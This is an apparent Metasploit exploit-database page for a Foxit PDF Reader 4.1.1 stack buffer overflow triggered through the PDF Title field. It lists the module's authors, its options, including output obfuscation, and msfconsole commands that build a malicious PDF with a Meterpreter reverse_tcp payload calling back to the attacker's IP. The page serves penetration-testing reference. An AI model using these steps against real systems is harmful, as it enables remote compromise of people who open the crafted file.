Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow | Metasploit Exploit Database (DB)

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript.

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Exploit Rank

  • Great

Exploit Authors

  • dookie < >
  • Sud0 < >
  • corelanc0d3r < peter.ve [at] corelan.be >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Foxit Reader v4.1.1 XP Universal (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/windows/fileformat/foxit_title_bof
msf exploit(foxit_title_bof) > show payloads
msf exploit(foxit_title_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(foxit_title_bof) > set LHOST [MY IP ADDRESS]
msf exploit(foxit_title_bof) > exploit


Exploit Module Options

FILENAME The output filename. (default: corelan_foxit.pdf)
PDF::Encoder Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX (default: ASCIIHEX)
PDF::Method Select PAGE, DOCUMENT, or ANNOTATION (default: DOCUMENT)
PDF::MultiFilter Stack multiple encodings n times (default: 1)
PDF::Obfuscate Whether or not we should obfuscate the output (default: true)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session